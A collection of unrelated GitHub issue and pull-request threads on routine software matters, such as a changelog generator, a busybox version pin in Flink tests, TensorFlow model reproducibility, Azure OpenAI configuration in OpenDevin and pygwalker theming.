Add automatically generated change log file.

Hi, as I can see, you are carefully fill tags and labels for issues in your repo.
I created a github_changelog_generator, that generate change log file based on tags, issues and merged pull requests (and split them to separate lists according labels) from GitHub issue tracker.
This Change Log was automatically generated by this script.
It helps to easily found what and when was fixed and implemented.
You can easily update this file in future by running script: github_changelog_generator in your repo folder.
Hope you find this commit as useful.

Any objections to this @nodegit/owners?

Hrm, I like that a lot for incrementals, not sure on the big update like this one. many of those PRs are fixing things introduced in the release, so it seems odd to include them in the changelog. At minimum, that is an awesome starting point, and potentially an all around solution in many cases (dot releases etc). Awesome awesome tool.
The only other thought is that currently we have history.md, this should be prepended there, either instead of included here, or in addition to (I'm not opposed to having a changelog for the latest version separate from the history).

@maxkorp thanks for mention it.
It will be a nice feature: to not include PR's, that fix closes another issues. I will research, how to implement it.
About excluding issues: this script can exclude/include issues by specific labels.

Interesting! That would be great, since we could exclude issues fixed that were introduced in the same release

@maxkorp so, what your opinion: is it better to exclude PR's or issues, that closed by PR from change log?

@skywinder can you also add a useful hash name to the header anchors?  Something like
v0.0.6

@tbranyen What do you mean? What should be in place of "some_gh_changelog"?
Now every tag name - is a link to this tag in project:
For example tag  0.2.4 links to  https://github.com/nodegit/nodegit/tree/v0.2.4

We've brought this into our site, should we maintain a file in this repo as well?

@tbranyen
If you want to refer to specific tag in changelog (e.g. Add Anchor Tags To Jump To Specific Location On A Changelog), you can click on the chain image close with tag name:

And the browser will redirect you to the link with this tag as anchor:
( https://github.com/skywinder/nodegit/blob/add-change-log-file/CHANGELOG.md#v026-2015-01-20 in that case)
Is it a option, that you are looking for?

I think it's sort of customary to include the changelog with the source, yeah. We already have HISTORY.md but we can rename it and append it to this.

But now your history has only one tag.
I decide to take this name, because it's kind of standart.  ( keepachangelog.com )
But you can specify your custom name for output file:
github_changelog_generator -o HISTORY.md

Yeah, I was saying keep this, and append the contents of history to this ;)

:+1:

@nodegit/owners how do you guys feel about merging this?

Yeah might as well.  We can always change it later.  Something is better than nothing.

Hooray, guys! :+1:
BDW, I will add one feature soon: https://github.com/skywinder/github-changelog-generator/issues/54
Since you are use quite different labels, rather than default github labels (Bug - bug, Modification- enhancement , Question - question) - this feature will help to make change log even more organised! I'll let you know when I'm done with it!


NoRowsUpdatedError when updating with WHERE clause

Banner.where({
    url: 'old',
  })
  .save({
    url: 'new'
  }, {
    patch: true,
    method: 'update',
    require: true
  })
  .then(function () {
    ...
  })
  .catch(Banner.NoRowsUpdatedError, function () {
    ...
  })
  .catch(function () {
    ...
  });

The code above does not seem to throw NoRowsUpdatedError error. Is there something I did wrong? Or is NoRowsUpdatedError not supported in this scenario?
Thank you.

Did it throw a different error? Seems your example is updating url, so it should update, no?

Oh I'm sorry that I forgot to mention that in this scenario, there's no banner with url 'old', so no rows will be updated. I caught and printed out the error. It was [Error: No rows were affected in the update, did you mean to pass the {method: "insert"} option?], and I believe it was a string.


Add keyboard shortcut to open links in currently selected message

When browsing Zulip using the keyboard, users need to reach for their mouse to open links. If there were a shortcut to select between links in a message and before pressing enter to open the link, then this would let users continue to use Zulip using their keyboard.

Yeah, that'd be good to support, thanks for the suggestion!
I suppose the standard UI for this would be for tab to iterate through the links in the currently selected message, though I think managing tabindex for that might be too annoying to make that a good experience.  So I think I agree that an explicit keyboard shortcut for this would be a good idea (possibly iterating through links in the current message to highlight).

Hey is it still available?
if yes , I would love to start working on it @davidtwco @timabbott

@zulipbot claim

Yeah, you're welcome to work on this.  It may take a while to be ready to integrate just because I'm not sure what key we should use (etc.) and those decisions may take time, but it's worth prototyping.


pip3 not found

Hey there,
today I tried your program on a new machine (Sabayon Linux).
Want to give you some feedback before I forget.
In install.sh, you're currently assuming pip3 to be available.
https://github.com/daehruoydeef/Yin-Yang/blob/f7e1d7680ea476802c330d29a7999a2ba63f264d/install.sh#L18-L20
This is not always the case. However, it didn't result in an error message either.
Perhaps it also makes sense to check for a system-wide installed presence first (e.g. via python -m) before running this code?
My distribution showed a prompt to install via pip3 install --user, but then, the code wouldn't be found.
I went with system-wide installed deps now.
The install.sh ran in either way.

yes you are right the install.sh does assume pip3 to be installed and there are no further checks. There is a note inside the Wiki that you will need python and pip3 to be installed.
I suggest that you stick with the systems package manager installation for pyqt5 since there exist some bugs around the python pyqt5 version.
I will close this issue since there is a link to the wiki under the installation point that mentions that you will need some dependencies.


[FLINK-30757] Upgrade busybox version to a pinned version for operator

What is the purpose of the change
Since e2e test is flaky with latest busybox image in init container, we pinned the image version to a relatively old version.
Brief change log

Add log printing for init container if e2e test is failed.
Upgrade the busybox version to the latest in a pinned way.

Verifying this change

This change is already covered by existing tests, such as e2e-tests/test_application_kubernetes_ha.sh.
To reproduce the failed tests locally and test modified init container log printing code:

Change the init container command in e2e-tests/data/flinkdep-cr.yaml to command: [ 'wget', 'https://repo1.maven.org/maven2/org/apache/flink/flink-examples-streaming_2.12/1.14.4/flink-examples-streaming_2.12-1.14.4.jar', '-O', '/flink-artifact/myjob.jar' ].
Run ./e2e-tests/test_application_kubernetes_ha.sh.
Part of the print log will be

...
Flink logs:
Current logs for flink-example-statemachine-dddb4d664-m6n5b:artifacts-fetcher:
Connecting to repo1.maven.org (<IP_ADDRESS>:443)
wget: note: TLS certificate validation not implemented
saving to '/flink-artifact/myjob.jar'
myjob.jar            100% |********************************|  267k  0:00:00 ETA
'/flink-artifact/myjob.jar' saved
test error msg
Previous logs for flink-example-statemachine-dddb4d664-m6n5b:artifacts-fetcher:
Connecting to repo1.maven.org (<IP_ADDRESS>:443)
wget: note: TLS certificate validation not implemented
saving to '/flink-artifact/myjob.jar'
myjob.jar            100% |********************************|  267k  0:00:00 ETA
'/flink-artifact/myjob.jar' saved
test error msg
Current logs for flink-example-statemachine-dddb4d664-m6n5b:flink-main-container:
Current logs for flink-kubernetes-operator-9744c66bd-27q2r:flink-kubernetes-operator:
Starting Operator
...

Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency):  no
The public API, i.e., is any changes to the CustomResourceDescriptors: no
Core observer or reconciler logic that is regularly executed: no

Documentation

Does this pull request introduce a new feature?  no
If yes, how is the feature documented? not applicable

It looks like busybox latest (1.36.0) is unstable -> https://github.com/docker-library/busybox/issues/162

Hi @gyfora @gaborgsomogyi , the pipeline checks with 1.35.0 busybox version passed. Should we wait for https://github.com/docker-library/busybox/issues/162 to be solved or we are good with 1.35.0 version?

Hi @gyfora @gaborgsomogyi , the pipeline checks with 1.35.0 busybox version passed. Should we wait for https://github.com/docker-library/busybox/issues/162 to be solved or we are good with 1.35.0 version?

I'm fine with 1.35.0 as long as it's stable. The main feature what I was personally missing is the failure log for init containers.

cc @gyfora @mbalassi

Hi @gyfora, the latest Java integration test failed. Could you please help me retrigger the ci pipeline again? I tested the integration test locally and it passed.


Test set accuracy does not match with published result

As shown in the home page, test set accuracy should be around 0.8, while it is around 0.50 on my machine for all test tasks. I'm using tensorflow 1.0.0 and fixed some API migration issues before I could successfully train and test the model, and I was evaluating P@N for iter 14000. Below I pasted the training info and testing info. Please let me know where I could get it wrong. Thank you so much:)
have saved model to ./model/ATT_GRU_model-13500
2017-04-02T03:08:14.022144: step 13550, softmax_loss 8.99307, acc 0.94
2017-04-02T03:08:24.764260: step 13600, softmax_loss 11.1679, acc 0.92
2017-04-02T03:08:35.354639: step 13650, softmax_loss 4.43873, acc 0.98
2017-04-02T03:08:45.710377: step 13700, softmax_loss 12.744, acc 0.94
2017-04-02T03:08:55.166245: step 13750, softmax_loss 2.57561, acc 0.98
2017-04-02T03:09:04.721789: step 13800, softmax_loss 2.85167, acc 0.98
2017-04-02T03:09:14.571793: step 13850, softmax_loss 2.9708, acc 0.98
2017-04-02T03:09:23.866147: step 13900, softmax_loss 4.50743, acc 0.98
2017-04-02T03:09:34.195987: step 13950, softmax_loss 5.79872, acc 0.96
2017-04-02T03:09:44.283621: step 14000, softmax_loss 10.5228, acc 0.92
saving model
have saved model to ./model/ATT_GRU_model-14000
out of range
2017-04-02T03:10:17.838734: step 14050, softmax_loss 2.30686, acc 0.98
2017-04-02T03:10:28.560130: step 14100, softmax_loss 5.12479, acc 0.98
2017-04-02T03:10:38.362117: step 14150, softmax_loss 8.63566, acc 0.94
2017-04-02T03:10:48.828123: stepI tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 56277731 get requests, put_count=56277740 evicted_count=17000 eviction_rate=0.000302073 and unsatisfied allocation rate=0.000307226
14200, softmax_loss 5.62947, acc 0.98
2017-04-02T03:10:59.361231: step 14250, softmax_loss 4.52537, acc 0.98
2017-04-02T03:11:08.783026: step 14300, softmax_loss 32.7668, acc 0.84
2017-04-02T03:11:19.310379: step 14350, softmax_loss 10.8961, acc 0.94
2017-04-02T03:11:29.238714: step 14400, softmax_loss 7.69886, acc 0.94
2017-04-02T03:11:38.763790: step 14450, softmax_loss 14.5586, acc 0.92
2017-04-02T03:11:48.848076: step 14500, softmax_loss 14.7915, acc 0.96
============================================================
Evaluating P@N for iter 14000
Evaluating P@N for one
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 7082 get requests, put_count=1102 evicted_count=1000 eviction_rate=0.907441 and unsatisfied allocation rate=0.999718
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 100 to 110
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=6011 evicted_count=6000 eviction_rate=0.99817 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=4013 evicted_count=4000 eviction_rate=0.996761 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=3016 evicted_count=3000 eviction_rate=0.994695 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=1019 evicted_count=1000 eviction_rate=0.981354 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 4716 get requests, put_count=5254 evicted_count=5000 eviction_rate=0.951656 and unsatisfied allocation rate=0.950594
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 233 to 256
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=3025 evicted_count=3000 eviction_rate=0.991736 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=2030 evicted_count=2000 eviction_rate=0.985222 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=1037 evicted_count=1000 eviction_rate=0.96432 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 7082 get requests, put_count=7491 evicted_count=7000 eviction_rate=0.934455 and unsatisfied allocation rate=0.936317
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 449 to 493
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=6049 evicted_count=6000 eviction_rate=0.991899 and unsatisfied allocation rate=0
P@100:
0.53
P@200:
0.525
P@300:
0.51
Evaluating P@N for two
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=5059 evicted_count=5000 eviction_rate=0.988338 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=5072 evicted_count=5000 eviction_rate=0.985804 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=5087 evicted_count=5000 eviction_rate=0.982898 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=5105 evicted_count=5000 eviction_rate=0.979432 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 7082 get requests, put_count=6529 evicted_count=5000 eviction_rate=0.765814 and unsatisfied allocation rate=0.802033
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 1400 to 1540
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=1169 evicted_count=1000 eviction_rate=0.855432 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=1225 evicted_count=1000 eviction_rate=0.816327 and unsatisfied allocation rate=0
P@100:
0.56
P@200:
0.535
P@300:
0.503333333333
Evaluating P@N for all
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 7082 get requests, put_count=7271 evicted_count=4000 eviction_rate=0.550131 and unsatisfied allocation rate=0.576532
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 2997 to 3296
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 0 get requests, put_count=3398 evicted_count=3000 eviction_rate=0.882872 and unsatisfied allocation rate=0
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 11798 get requests, put_count=12147 evicted_count=4000 eviction_rate=0.329299 and unsatisfied allocation rate=0.350314
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 5305 to 5835
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:247] PoolAllocator: After 11798 get requests, put_count=11832 evicted_count=1000 eviction_rate=0.0845166 and unsatisfied allocation rate=0.141634
I tensorflow/core/common_runtime/gpu/pool_allocator.cc:259] Raising pool_size_limit_ from 7764 to 8540
P@100:
0.57
P@200:
0.535
P@300:
0.523333333333
2017-04-02T22:13:33.351736
Evaluating all test data and save data for PR curve
saving all test result...
PR curve area:0.257896324167
2017-04-02T22:14:57.170137
P@N for all test data:
P@100:
0.52
P@200:
0.505
P@300:
0.476666666667

Have you evaluated the testing dataset using the model we provide in the ./model directory? If you then can get the high accuracy as we provided in Readme, it means there are nothing wrong with your test codes, which also means there are something wrong with your training settings, like learning rate .etc.
Please inform me if you still get any questions.

@Tsingularity
Thank you for your prompt reply. I guess the problem might be that in train_GRU.py the training dataset is default to ./data/small_XXXX.npy, where I should replace with ./data/train_XXXX.npy.

I had the same problem on this too.
I migrated the API for TensorFlow 1.0+ API and it turns out that the training process is very unstable and did not converge as expected:
2017-04-20T22:49:16.594582: step 50, softmax_loss 21.4735, acc 0.96
2017-04-20T22:49:32.141554: step 100, softmax_loss 15.4196, acc 0.94
2017-04-20T22:49:47.318107: step 150, softmax_loss 19.3769, acc 0.92
2017-04-20T22:50:02.992736: step 200, softmax_loss 11.1531, acc 0.98
2017-04-20T22:50:18.202700: step 250, softmax_loss 35.4513, acc 0.9
2017-04-20T22:50:32.981644: step 300, softmax_loss 6.89652, acc 0.98
2017-04-20T22:50:47.808317: step 350, softmax_loss 10.088, acc 0.96
2017-04-20T22:51:01.964026: step 400, softmax_loss 24.7675, acc 0.9
2017-04-20T22:51:17.774023: step 450, softmax_loss 14.7294, acc 0.94
2017-04-20T22:51:32.227491: step 500, softmax_loss 10.6867, acc 0.96
2017-04-20T22:51:48.735949: step 550, softmax_loss 36.2467, acc 0.86
2017-04-20T22:52:04.734398: step 600, softmax_loss 14.5625, acc 0.96
2017-04-20T22:52:20.174327: step 650, softmax_loss 24.6323, acc 0.9
2017-04-20T22:52:34.532755: step 700, softmax_loss 2.41186, acc 1
2017-04-20T22:52:49.000365: step 750, softmax_loss 13.4522, acc 0.94
2017-04-20T22:53:04.999005: step 800, softmax_loss 26.3403, acc 0.92
2017-04-20T22:53:19.506108: step 850, softmax_loss 24.053, acc 0.9
2017-04-20T22:53:34.691490: step 900, softmax_loss 18.0913, acc 0.92
2017-04-20T22:53:49.991637: step 950, softmax_loss 7.47336, acc 0.98
2017-04-20T22:54:05.118305: step 1000, softmax_loss 13.1802, acc 0.96
2017-04-20T22:54:19.439001: step 1050, softmax_loss 31.5119, acc 0.86
2017-04-20T22:54:34.327526: step 1100, softmax_loss 18.9508, acc 0.96
2017-04-20T22:54:48.353167: step 1150, softmax_loss 9.58851, acc 0.96
2017-04-20T22:55:03.408483: step 1200, softmax_loss 6.8638, acc 0.98
2017-04-20T22:55:19.836647: step 1250, softmax_loss 31.93, acc 0.88
2017-04-20T22:55:35.030056: step 1300, softmax_loss 5.76889, acc 0.98
2017-04-20T22:55:49.492384: step 1350, softmax_loss 17.2845, acc 0.96
2017-04-20T22:56:06.651158: step 1400, softmax_loss 14.9008, acc 0.94
2017-04-20T22:56:22.267086: step 1450, softmax_loss 23.0303, acc 0.9
2017-04-20T22:56:37.428491: step 1500, softmax_loss 15.9611, acc 0.94
2017-04-20T22:56:53.297016: step 1550, softmax_loss 10.245, acc 0.96
2017-04-20T22:57:07.970155: step 1600, softmax_loss 23.6018, acc 0.9
2017-04-20T22:57:25.765035: step 1650, softmax_loss 7.96503, acc 0.98
2017-04-20T22:57:42.618245: step 1700, softmax_loss 16.4669, acc 0.94
2017-04-20T22:57:57.278566: step 1750, softmax_loss 18.9911, acc 0.94
2017-04-20T22:58:12.971772: step 1800, softmax_loss 9.03051, acc 0.96
and for testing using the exactly same code, the same situation occurs like @cloudfengchao
As for using the provided Model file, it is unfortunate that the RNN cells got renamed inside tf.contribs, thus rendering pre-trained model files incompatible across 0.x Tensorflow and 1.x Tensorflow.
Any help would be really appreciated!

@cloudfengchao @frankxu2004 Did you get the result as published result? I have no idea about the problem.

@sousuodaren you can check my updated fork (https://github.com/frankxu2004/TensorFlow-NRE) that is upgraded for Python 3.x and Tensorflow 1.x version. I have added a compatibility layer so that the provided original pre-trained model file could be now correctly read and used. With that model file, I was able to reproduce the test result (with acceptable error) described on my fork.
However, I am still not sure about the training part. I was not able to reproduce the model trained using the provided code and data. I'm suspecting that these small training data might have caused it:
    train_y = np.load('./data/small_y.npy')
    train_word = np.load('./data/small_word.npy')
    train_pos1 = np.load('./data/small_pos1.npy')
    train_pos2 = np.load('./data/small_pos2.npy')

@frankxu2004  I have tried replacing files like "small_word.npy" with "train_word.npy", but still cannot reproduce the result reported in README, with the default hyper-parameters of this repository. But the PR curve is comparable to PCNN+ATT.
@Tsingularity Did you generate the results in README with the hyper-parameters in this repository, or with another set of hyper-parameters?  If with another set of hyper-parameters, could you give us the detailed settings?  Thanks a lot.

@Tsingularity 我把您的代码放到python 3.x，tensorflow<EMAIL_ADDRESS>0.12环境下是没有问题的，只是在tensorflow 1.x环境下出现这样的问题。我输出了测试的中间数据，对比了一下两个环境下除了参数order在tensorflow 1.x下总是以0开始，其他参数并无明显不同，想请问一下这是什么原因？谢谢

I couldn't reproduce the results of BGRU+2ATT shown in this repository.
PCNN+ATT is still better a little than BGRU+2ATT after I run the code.
Did anyone have similar results?

For Tensorflow 1.x, I use the same code with you, but there was a problem that the GPU memory is not enough, but my GPU memory is 8G. and no other program used GPU. Have you meet this problem. As for the result, I can get the better result but when I use the plot_pr.py to draw the PR curve, there is no line for the BGRU+2ATT, I don't know why.

@mbxmxm I used the GPU Tesla K40 with 11GB but the code run too slow so I terminated it after half a day (only 2 epochs were running). Actually, I do not know the reason.
BTW, how did you know that you got the better result? What is the exact performance?
For plotting the PR curves, please change the model name in file plot_pr.py.

@pvthuy Thanks, as for the result,I have print the precision and recall,and I just ran the program with Tensorflow r0.12 once.

@mbxmxm After plotting the PR curves, could you check if BGRU+2ATT is better than PCNN+ATT or not? Thanks!

@pvthuy I have tried, the result depends on which model you choose. actually, most models performed worse than PCNN-ATT, but some mode perform better

@mbxmxm Can you show the comparison between 2 models, in the case BGRU+2ATT is better?

@pvthuy How should I show you the result? It's a picture. Can you give me your email?

@mbxmxm What is the best area under PR curves of BGRU+ATT you got? E.g., 0.37?

@pvthuy  there are two result: 0.341 and 0.347


agent specific filename nomenclature

Consolidate nomenclature of filename containing agent name because of match.groupe(1) used in plotter.py. Otherwise, d3qn and d3qn_om both collapse into the same plotting directory, and e_greedy directory becomes 'e' under plots/.

Agent names in run_all files not up to date.


🐛  fix owner user slug

closes #8067

this is only a bug present for remote authentication

right now the remote service does not return the name of the user

depends on an internal PR

force regenerating the slug on setup

override name for signin or invite if needed

[x] do final testing if internal PR was merged and deployed

ready for review


微软的模型API是不支持吗?

Describe your question
配置文件按照官方提示文档配置了, 怎么配置都是连接不上

我这边配置好连接地址后, 查看微软的地址资源都是有预留的, 但是怎么启动对话,都是卡这不动了;

是Azure OpenAI吗？
看下这个文档：https://github.com/OpenDevin/OpenDevin/blob/main/docs/guides/AzureLLMs.md

Could you please provide your configurations?

@li-boxuan https://github.com/OpenDevin/OpenDevin/issues/1418#issuecomment-2081336077

@enyst Do you have any idea on this one? IIRC you attempted to test Azure OpenAI model.

LLM_MODEL=azure/gpt4-test-ncus-0125

I think the model name needs to be the name of the deployment defined in the Azure account corresponding to the chat model, e.g. to GPT-4.
This is probably the right name, but it seems that it's not sent as such:

opendevin:INFO: llm.py:51 - Initializing LLM with model: azure/gpt-4

I would suggest to enter azure/gpt4-test-ncus-0125 in the UI settings, the deployment of the chat model as it is defined in the Azure account, even if it's not in the predefined list of models in the UI. I believe the UI allows saving a custom name.

@enyst 嗯嗯。https://github.com/OpenDevin/OpenDevin/issues/1418#issuecomment-2081403109

@li-boxuan  这也并没有实际解决问题呢, 就关闭了

@he-aook From your response I thought @enyst 's advice solved your problem. If that's not the case, feel free to reopen the issue, but please comment in English.

@li-boxuan
My English is very poor, I don't even know how to say it

Be confident man. Your English level is certainly enough to communicate. The problem is most people here don't read Chinese :(
In the worst case, you could use a translator.
Get Outlook for iOShttps://aka.ms/o0ukef

From: he-aook @.>
Sent: Tuesday, April 30, 2024 1:31:12 AM
To: OpenDevin/OpenDevin @.>
Cc: @.*** @.>; Mention @.>
Subject: Re: [OpenDevin/OpenDevin] Error connecting to Azure OpenAI API (Issue #1418)
@li-boxuanhttps://github.com/li-boxuan
My English is very poor, I don't even know how to say it
—
Reply to this email directly, view it on GitHubhttps://github.com/OpenDevin/OpenDevin/issues/1418#issuecomment-2084704419, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AGENUWRTTNGCCZBL2B2J5HLY75JFBAVCNFSM6AAAAABG4SJ2OKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAOBUG4YDINBRHE.
You are receiving this because you were mentioned.Message ID: @.***>


Home view suddenly marks all as read

I'm on Linux with the 1.2.0 beta, which I just installed a few minutes ago.
I'm not sure exactly what just happened, but here's my best reconstruction:

I opened the app for the first time. At that time I had maybe a few dozen unread messages, having just sat down after an hour afk.
I narrowed to the #electron stream for discussion, and read and sent a bunch of messages there, navigating between various topic narrows and the stream narrow. I think I also went briefly back to home at some point.
The discussion in #electron was done for a bit, and I hit Esc to go back to home.
The app showed the home view, in a version that looked plausible but I didn't get a good view of it -- because after maybe 200-600ms it suddenly flashed or jerked around, and all the unread indicators faded away and the unread counts (except of muted streams) disappeared.

Yikes! Fortunately it's not many messages and I can pretty easily catch up by hand without the aid of any unread markers.

Sounds like a scroll being triggered by the app that's buggy.  I'm not sure why the app would be doing scroll actions at all, but seems worth looking through the desktop codebase for any scrolling code that could cause this.  I haven't heard reports of something similar in the Zulip webapp, so it seems likely this is a desktop-specific issue.

Hmm, that reminds me -- @jhurwitz [mentioned recently](
https://chat.zulip.org/#narrow/stream/frontend/subject/pointer.20bug/near/246965)
a bug that brought the pointer to the present for him. That one involved
the web, and possibly mobile but probably not because the mobile app
crashed promptly on startup.
Does that qualify as something similar? I think we haven't otherwise had
reports of scrolling to the end in a while.

@jhurwitz ^ (sorry, should have learned by now that GitHub's handling of email reply comments is too buggy to attempt anything more than the plainest of text)

I don't think there is code to do scrolling in the desktop app. The behavior should be exactly the same as in browser. i.e. as you scroll down the messages, the unread count will decrease; but the app itself will not trigger a scroll.

@gnprice let us know if you could reproduce this again.

We have a related bug we're investigating in the webapp; we should probably resolve that and then check back in on this one, if it's the case that the app itself literally never scrolls.

@timabbott is this fixed in webapp? If yes, then we can close this.

It isn't, but there is a bug in the webapp that's probably this, so maybe it makes sense to just track it there.

For clarity of cross-reference: I believe this is zulip/zulip#4720 .


RGB led strip

thank you for this project. did you manage to control a normal RGB led using PWM? just like the origional project.

We're waiting for some new boards to test this. We'll keep you posted.

Thanks a lot. I played with the cod a bit and connected 3 LEDs with pins 14,12,13 but no output. Serial monitors shows data from the the app but I think setlight() function still needs to be modified if I am no wrong!

See the branch pwm_rgb for the PWM based RGB led version.
https://github.com/area3001/esp8266_lifx/tree/pwm_rgb
We're also working on a PWM controller RGBW version with selectable color temperature of the white LED
https://github.com/area3001/esp8266_lifx/tree/pwm_rgbw


Light theme while working with JupyterLab Dark theme messes up graphic-walker theme

It appears when pyg is used in jupyter notebook (JupyterLab 3.5.2) there are some inconsistencies in the theme. It works fine when I use JupyterLab Light, but with JupyterLab Dark it looks like below.
Can i somehow change pyg theme manually?

It seems you are using a light theme of OS (media theme) and a dark theme of jupypter.
Graphic Walker now detects and syncs with your media theme. You can change your OS theme to dark to solve this problem.
Or I can add a parameter to allow users to determine the theme themself.

Hi @ObservedObserver,
Since I'm using AWS Glue Docker image, I am not sure whether or not it is possible to change OS theme.
Nevertheless, I like the idea of having a parameter that could determine theme independently of current settings.

For now, Graphic Walker supports an extra param:
<GraphicWalker dark="light" />
<GraphicWalker dark="dark" />
<GraphicWalker dark="media" /> // auto detect OS theme

Wait for PyGWalker to update to the latest Graphic Walker and add new param in Python

Please have a try with
pyg.walk(df, dark='dark')  # 'class' | 'dark' | 'media'

The signature:
pyg.walk(
    df: 'pl.DataFrame | pd.DataFrame',
    gid: Union[int, str] = None,
    **kwargs,
)
kwargs:
    hideDataSourceConfig (bool, optional): Hide DataSource import and export button (True) or not (False). Default to True
    themeKey ('vega' | 'g2'): theme type.
    dark ('media' | 'light' | 'dark'): 'media': auto detect OS theme.
    return_html (bool, optional): Directly return a html string. Defaults to False.

This feature has been released in <IP_ADDRESS>.
https://github.com/Kanaries/pygwalker/pull/66


Electron can't download update.

Bug Description:
Electron can't download update.

Steps to Reproduce:

Download and install 1.37.0.
Choose yes to update.
Always waiting for downloading.

https://github.com/eclipse-theia/theia-blueprint/blob/5fe2d301210a4e4fdde8e5eb91a25988214cacbf/theia-extensions/theia-blueprint-updater/src/electron-browser/updater/theia-updater-frontend-contribution.ts#L33
https://github.com/eclipse-theia/theia-blueprint/blob/5fe2d301210a4e4fdde8e5eb91a25988214cacbf/theia-extensions/theia-blueprint-updater/src/electron-browser/updater/theia-updater-frontend-contribution.ts#L188-L208
nodeIntegration: false in theia default config.
Beginning in Electron 20, renderers will be sandboxed by default and preload scripts hadn't access to Node.js.
https://www.electronjs.org/blog/electron-20-0#default-changed-renderers-without-nodeintegration-true-are-sandboxed-by-default
Additional Information

Operating System: win10
Theia Version: 1.37.0

Thank you for the report, I will have a look at fixing this in the next days


Will this work with Cloudflare enabled?

I use Cloudflare on my website. Will this work?

Yes it should. I have a few sites on free Cloudflare account and so far so good.

It didn't work. Error 521. Even after deleting the conf file, Error 521 did not go!

@ankurshva When generating SSL disable Cloudflare first. Once you generated the SSL, you can use Cloudflare's Flexible or Full SSL, both will work fine.

You mean disable the Cloudflare SSL and use CloudFlare JUST for DNS. Then this script will work. I would also disable any caching/cdn features from within CloudFlare before you run the script.
The script will fail if you are using either the FREE Cloudflare SSL or paid version.

You mean disable the Cloudflare SSL and use CloudFlare JUST for DNS

Correct. You have to use Cloudflare DNS Only.

hm i did it with cloudflare enabled and didn't notice any issue.
I was using flexible since i didn't have a cert, after using this script i was able to:

Use Full mode and full mode (sctrict)
Pause cloudflare and still serve http pages.

All fine on my end luckily.


Skip coroutines with arguments instead of raising an exception

Currently, a DataService can not contain a coroutine that takes arguments even if it is private.
As far as I remember, the decision was to not support functions that take arguments in the frontend.
But private functions are never exposed in the frontend, so it shouldn't be an issue.

Fair point. As public async functions will always be displayed as tasks in the frontend, I had to make sure that they cannot take arguments. I am not really happy with my solution. Async functions really should be able to take any arguments. I will think about this a bit more, probably converting "tasks" into a decorator or so. Async functions are then not regarded as tasks any more.
What do you think?

Yes, that would make a lot of sense considering that there already is a frontend decorator for synchronous functions. It is not that important though.
This PR could be a reasonable stopgap solution until you get around to implement this. If you want to hide a coroutine, just add a dummy argument. If you need arguments in your coroutine, you can always add them directly to the class as attributes. Or even create a nested class for this purpose. A bit cumbersome and it could be automated but should be fine for now.


Severe TPS drop on a dedicated server while using CFB cooking table connected to an AE2 network

Hello, the issue is as in the title, accessing a cooking table on a multiblock with an ME Cooking Station causes TPS drop on dedicated server, from 20 to 3. Lags stop few seconds after exiting the cooking table's GUI.
It is regarding 1.20.1.

Hi @Derpowsky
This is a known issue when connected to a network with a large amount of items. This is not due to the addon. This is because CFB  older versions were not developed with that kind of performance in mind. The CFB dev has created a new API for newer versions with better performance in mind. I haven't taken the time to work on upgrading to those versions. We'll see if those changes improve performance with large networks.


⚠ Bofrost.be has degraded performance

In 4dc0541, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 918 ms

Resolved: Bofrost.be performance has improved in 8e9e1c8.


Update java sdk state example doc to refer to multi-state store

Refer to multiple state stores in Java SDK example for state.

Is this closed by #315?


add CSP meta data for CSP users

Similar to namespace for ISV users, we need a similar logic for CSPs as well. CSP-A should be able to view and approve/reject only services hosted on that specific cloud.

[ ] add new metadata key "csp" in IAM
[ ] update IAM documentation
[ ] Add filter in CSP services to return only services belonging to the correct CSP
